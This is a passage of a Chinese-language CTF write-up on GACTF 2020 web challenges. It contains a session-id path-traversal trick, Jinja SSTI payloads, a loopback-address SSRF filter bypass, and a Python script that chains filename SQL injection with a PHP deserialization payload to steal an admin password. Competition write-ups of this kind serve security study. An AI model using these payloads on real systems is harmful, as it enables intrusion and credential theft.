class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#39;完毕\u0026#39;\u003c/span\u003e), \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#39;收获\u0026#39;\u003c/span\u003e), \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#39;种植\u0026#39;\u003c/span\u003e), \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#39;反省\u0026#39;\u003c/span\u003e), \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#39;完毕\u0026#39;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esession_start();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esrand(mktime(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$盛世 = \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;alice\u0026#39;\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e), rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;bob\u0026#39;\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e), rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;cat\u0026#39;\u003c/span\u003e, \u003cspan class=\"number\"\u003e20\u003c/span\u003e), rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;dog\u0026#39;\u003c/span\u003e, \u003cspan class=\"number\"\u003e15\u003c/span\u003e), rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;evil\u0026#39;\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e), rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;flag\u0026#39;\u003c/span\u003e, \u003cspan class=\"number\"\u003e9999\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 化缘(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;balance\u0026#39;\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 取经(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eglobal\u003c/span\u003e $盛世;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e $宝藏 = \u003cspan class=\"string\"\u003e\u0026#39;[\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;items\u0026#39;\u003c/span\u003e] \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e $元素) $宝藏 .= $盛世[$元素][\u003cspan class=\"number\"\u003e0\u003c/span\u003e] . \u003cspan class=\"string\"\u003e\u0026#39;, \u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e $宝藏 .= \u003cspan class=\"string\"\u003e\u0026#39;]\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e $宝藏;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 念经(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eglobal\u003c/span\u003e $齿轮;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e $齿轮-\u0026gt;归纳();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 造世(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eglobal\u003c/span\u003e $盛世;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e $宝藏 = \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e ($盛世 \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e $按键 =\u0026gt; $元素) $宝藏 .= \u003cspan class=\"string\"\u003e\u0026#39;\u0026lt;div class=\u0026#34;item\u0026#34;\u0026gt;\u0026lt;form method=\u0026#34;POST\u0026#34;\u0026gt;\u0026lt;div class=\u0026#34;form-group\u0026#34;\u0026gt;\u0026#39;\u003c/span\u003e . $元素[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] . \u003cspan class=\"string\"\u003e\u0026#39;\u0026lt;/div\u0026gt;\u0026lt;div class=\u0026#34;form-group\u0026#34;\u0026gt;\u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;id\u0026#34; value=\u0026#34;\u0026#39;\u003c/span\u003e . $按键 . \u003cspan class=\"string\"\u003e\u0026#39;\u0026#34;\u0026gt;\u0026lt;button type=\u0026#34;submit\u0026#34; class=\u0026#34;btn btn-success\u0026#34;\u0026gt;buy ($\u0026#39;\u003c/span\u003e . $元素[\u003cspan class=\"number\"\u003e1\u003c/span\u003e] . \u003cspan class=\"string\"\u003e\u0026#39;)\u0026lt;/button\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;/form\u0026gt;\u0026lt;/div\u0026gt;\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e $宝藏;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;balance\u0026#39;\u003c/span\u003e])) \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;balance\u0026#39;\u003c/span\u003e] = \u003cspan class=\"number\"\u003e2233\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;items\u0026#39;\u003c/span\u003e])) \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;items\u0026#39;\u003c/span\u003e] = [];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;note\u0026#39;\u003c/span\u003e])) \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;note\u0026#39;\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;id\u0026#39;\u003c/span\u003e])) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;balance\u0026#39;\u003c/span\u003e] \u0026gt;= $盛世[\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;id\u0026#39;\u003c/span\u003e]][\u003cspan class=\"number\"\u003e1\u003c/span\u003e]) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;balance\u0026#39;\u003c/span\u003e] = \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;balance\u0026#39;\u003c/span\u003e] - $盛世[\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;id\u0026#39;\u003c/span\u003e]][\u003cspan class=\"number\"\u003e1\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e array_push(${\u003cspan class=\"string\"\u003e\u0026#39;_SESSION\u0026#39;\u003c/span\u003e}[\u003cspan class=\"string\"\u003e\u0026#39;items\u0026#39;\u003c/span\u003e], \u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;id\u0026#39;\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#39;\u0026lt;span style=\u0026#34;color:green\u0026#34;\u0026gt;buy succ!\u0026lt;/span\u0026gt;\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#39;\u0026lt;span style=\u0026#34;color:red\u0026#34;\u0026gt;lack of balance!\u0026lt;/span\u0026gt;\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;note\u0026#39;\u003c/span\u003e])) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (strlen(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;note\u0026#39;\u003c/span\u003e]) \u0026lt;= \u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e10\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e $齿轮-\u0026gt;总结(str_replace(\u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;\u0026amp;\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\u0026lt;\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\u0026gt;\u0026#39;\u003c/span\u003e), \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;\u0026amp;amp;\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\u0026amp;lt;\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\u0026amp;gt;\u0026#39;\u003c/span\u003e), \u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;note\u0026#39;\u003c/span\u003e]));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#39;\u0026lt;span style=\u0026#34;color:green\u0026#34;\u0026gt;write succ!\u0026lt;/span\u0026gt;\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#39;\u0026lt;span style=\u0026#34;color:red\u0026#34;\u0026gt;note too long!\u0026lt;/span\u0026gt;\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003e阅读源码我们可以看出,出题人自行注册了session数据存储机制,将session数据存储在了web目录下,文件名后半部分可控。\u003cbr/\u003e参考php \u003ccode\u003esession_set_save_handler\u003c/code\u003e函数手册,结合源码,我们可以发现源码对sessionid进行了简单过滤。\u003c/p\u003e\u003cp\u003e如何解这道题呢?\u003c/p\u003e\u003ch3 id=\"最简单的解法\"\u003e最简单的解法\u003c/h3\u003e\u003cp\u003e首先我们可以看到Accounts页面中回显了\u003ccode\u003enote_\u003c/code\u003e文件的内容,我们能够控制这个文件的路径,而这里存在目录穿越\u003cbr/\u003e所以我们把sessionid设置成\u003ccode\u003e../../../../flag\u003c/code\u003e就行了。flag文件我们没权限写,读权限还是有的。我们是这么做出来的((\u003c/p\u003e\u003ch3 id=\"出题人可能预期的解法\"\u003e出题人可能预期的解法\u003c/h3\u003e\u003cp\u003e虽然题已经做出来了,但是后面貌似出题人将flag加入了关键词检测。看一看源码,有两个有趣的地方\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003esrand(固定值)\u003c/code\u003e\u003c/li\u003e\u003cli\u003esession处理的逻辑写在了一个类里面,有\u003ccode\u003e__destruct\u003c/code\u003e,且反序列化可以绕过对sessionid的waf\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e具体怎么做还没来得及研究,之后有空了再说吧\u003c/p\u003e\u003ch2 id=\"EZFLASK\"\u003eEZFLASK\u003c/h2\u003e\u003cp\u003e出题人给出了部分源码,明摆着就是想让我们去访问admin路由。\u003cbr/\u003e\u003ca href=\"https://docs.python.org/3/reference/datamodel.html?highlight=__globals__\"\u003e__globals__到底是什么\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003e{{index.__globals__}}\u003c/code\u003e\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2020/09/01/Security/Writeup/GACTF-2020-Web/upload_e92ae998edaadf1d01a758abe82e4d47.png\" class=\"\" title=\"aaa\"/\u003e\u003cp\u003e于是我们可以看出admin路由为\u003ccode\u003e/h4rdt0f1nd_9792uagcaca00qjaf\u003c/code\u003e,访问后发现是一个requests的ssrf点。\u003cbr/\u003e还有一个ctf函数我们还没有用过,看出题人的意思是那里有一些提示。通过\u003ca href=\"https://docs.python.org/3/reference/datamodel.html?highlight=__code__\"\u003e__code__属性\u003c/a\u003e我们可以一窥ctf函数中的常量:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e{{ctf.__code__.co_consts}}:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e可知:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehint = \u003cspan class=\"string\"\u003e\u0026#39;the admin route :h4rdt0f1nd_9792uagcaca00qjaf\u0026lt;!-- port : 5000 --\u0026gt;\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etrick = \u003cspan class=\"string\"\u003e\u0026#39;too young too simple\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e提示说5000端口有另一个服务。但是当我们尝试访问\u003ccode\u003e127.0.0.1\u003c/code\u003e时发现有waf。梅开二度,我们可以通过\u003ccode\u003e__code__\u003c/code\u003e来大体看到waf规则:\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2020/09/01/Security/Writeup/GACTF-2020-Web/upload_f4abe482d6ed5160ea58f93868f0cce4.png\" class=\"\" title=\"Result\"/\u003e\u003cp\u003e0.0被过滤了。冷知识时间:本地回环地址为\u003ccode\u003e127.0.0.0/8\u003c/code\u003e,这个掩码\u003ccode\u003e8\u003c/code\u003e是不是看起来不太直观?我们换个样子试试:\u003ccode\u003e255.0.0.0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e所以访问\u003ccode\u003e127.114.51.4:5000\u003c/code\u003e,看到内层的应用是一个裸的ssti,flag在app.config里。然而ssrf的path在外层进行了过滤(\u003ccode\u003ewaf_path\u003c/code\u003e)。很可惜,\u003ccode\u003ewaf_path.__code__.co_consts\u003c/code\u003e由于长度问题被过滤了,过滤规则只能通过盲猜。\u003c/p\u003e\u003cp\u003e经过一系列尝试,在\u003ccode\u003eurl_for.__globals__.current_app\u003c/code\u003e找到了app对象。\u003c/p\u003e\u003ch2 id=\"carefuleyes\"\u003ecarefuleyes\u003c/h2\u003e\u003cp\u003e整体上就是Hitcon 2016 babytrick梅开二度,随便找一个注入点就行了\u003c/p\u003e\u003cp\u003erename.php中有一个自注入,很刻意\u003c/p\u003e\u003cp\u003e我 注 我 自 己\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phpserialize \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e *\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# host = \u0026#39;http://124.71.191.175\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehost = \u003cspan class=\"string\"\u003e\u0026#39;http://202.182.118.236\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# host = \u0026#39;http://localhost\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efile = \u003cspan class=\"string\"\u003e\u0026#39;frankli\\\u0026#39; and 1=0 union select 1,`password` as filename,3,4,5 from user where username=\\\u0026#39;XM\\\u0026#39; #.txt\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eses.post(host + \u003cspan class=\"string\"\u003e\u0026#39;/upload.php\u0026#39;\u003c/span\u003e, files={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;upfile\u0026#39;\u003c/span\u003e: (file, \u003cspan class=\"string\"\u003e\u0026#39;b\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}).text\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003epasswd = ses.get(host + \u003cspan class=\"string\"\u003e\u0026#39;/rename.php\u0026#39;\u003c/span\u003e, params={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;oldname\u0026#39;\u003c/span\u003e: file[:-\u003cspan class=\"number\"\u003e4\u003c/span\u003e],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;newname\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;asdf\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}).text\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003epasswd = passwd[\u003cspan class=\"number\"\u003e14\u003c/span\u003e:passwd.find(\u003cspan class=\"string\"\u003e\u0026#39;will be changed\u0026#39;\u003c/span\u003e) - \u003cspan class=\"number\"\u003e1\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eXCTFGG\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e private_method = \u003cspan class=\"string\"\u003e\u0026#39;login\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e private_args = [\u003cspan class=\"string\"\u003e\u0026#39;XM\u0026#39;\u003c/span\u003e, passwd]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ses.post(host + \u003cspan class=\"string\"\u003e\u0026#39;/upload.php\u0026#39;\u003c/span\u003e, files={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;upfile\u0026#39;\u003c/span\u003e: (\u003cspan class=\"string\"\u003e\u0026#39;frank.txt\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;c\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}, params={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;data\u0026#39;\u003c/span\u003e: serialize(XCTFGG())\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}).text)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"simple-flask-与-XWiki\"\u003esimple flask 与 XWiki\u003c/h2\u003e\u003cp\u003e略。simple flask抢了个一血,挺开心的(\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = 